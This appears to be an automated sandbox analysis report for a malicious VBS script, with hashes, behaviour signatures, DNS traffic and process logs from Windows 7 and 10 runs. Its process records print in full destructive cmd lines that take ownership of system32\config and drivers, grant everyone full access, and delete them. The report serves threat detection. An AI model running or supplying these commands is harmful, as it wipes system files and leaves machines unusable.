Analysis Overview
SHA256
e7af76261c2990bf6feae42d867deb9c54e4336a58e6160511f3062ecab3532c
Threat Level: Likely malicious
The file file.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Modifies registry class
Opens file in notepad (likely ransom note)
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 21:32
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 21:32
Reported
2024-08-15 21:35
Platform
win7-20240704-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Enumerates physical storage devices
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Notepad.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\file.wsf thescript.vbs && start thescript.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\Desktop\UnpublishReceive.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\SetPush.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\UnpublishReceive.vbs"
C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T
Network
Files
C:\Users\Admin\AppData\Local\Temp\thescript.vbs
| MD5 | a5248e8a553244ebf5fe783d59068860 |
| SHA1 | f866fc5f1d41e8cf209b3ea253f49a9caebb0012 |
| SHA256 | e7af76261c2990bf6feae42d867deb9c54e4336a58e6160511f3062ecab3532c |
| SHA512 | 7f7fafcee64a9d9d5ca06e19e011f6e485e931b06a256bf924fa06e7ade8ac25458dc8980c6409c16a22f93602ea5e6e872754966bf67a92a7b3ab4b749465b8 |
C:\Users\Admin\Desktop\GetMove.vbs
| MD5 | ece02545122cc48c9d8afaf3f94dd04f |
| SHA1 | 8e07b6da685faad07f8413230a95ce0ae8987e0d |
| SHA256 | 5098743dbbd65767e7795bb819c00d091a749f0905fe0d496a06fc192efd0206 |
| SHA512 | e6c8df55b9845ea00301b0560321489cf064bfc02793495942e216a25f76b809a61d90ab0ce8ce4e514f626f368861c9f9b7814e3730e6482f0e2f40e88a2eb5 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 21:32
Reported
2024-08-15 21:35
Platform
win10v2004-20240802-en
Max time kernel
144s
Max time network
135s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\file.wsf thescript.vbs && start thescript.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\thescript.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4088,i,11708048364682646792,608099842549576907,262144 --variations-seed-version --mojo-platform-channel-handle=1020 /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | edge.msiserver.lan | udp |
| US | 8.8.8.8:53 | edge.msiserver.lan | udp |
| US | 8.8.8.8:53 | edge.msiserver.lan | udp |
| US | 8.8.8.8:53 | edge.msiserver.lan | udp |
| US | 8.8.8.8:53 | edge.msiserver.lan | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\thescript.vbs
| MD5 | a5248e8a553244ebf5fe783d59068860 |
| SHA1 | f866fc5f1d41e8cf209b3ea253f49a9caebb0012 |
| SHA256 | e7af76261c2990bf6feae42d867deb9c54e4336a58e6160511f3062ecab3532c |
| SHA512 | 7f7fafcee64a9d9d5ca06e19e011f6e485e931b06a256bf924fa06e7ade8ac25458dc8980c6409c16a22f93602ea5e6e872754966bf67a92a7b3ab4b749465b8 |
C:\Users\Admin\Desktop\ConvertToSelect.vbs
| MD5 | ece02545122cc48c9d8afaf3f94dd04f |
| SHA1 | 8e07b6da685faad07f8413230a95ce0ae8987e0d |
| SHA256 | 5098743dbbd65767e7795bb819c00d091a749f0905fe0d496a06fc192efd0206 |
| SHA512 | e6c8df55b9845ea00301b0560321489cf064bfc02793495942e216a25f76b809a61d90ab0ce8ce4e514f626f368861c9f9b7814e3730e6482f0e2f40e88a2eb5 |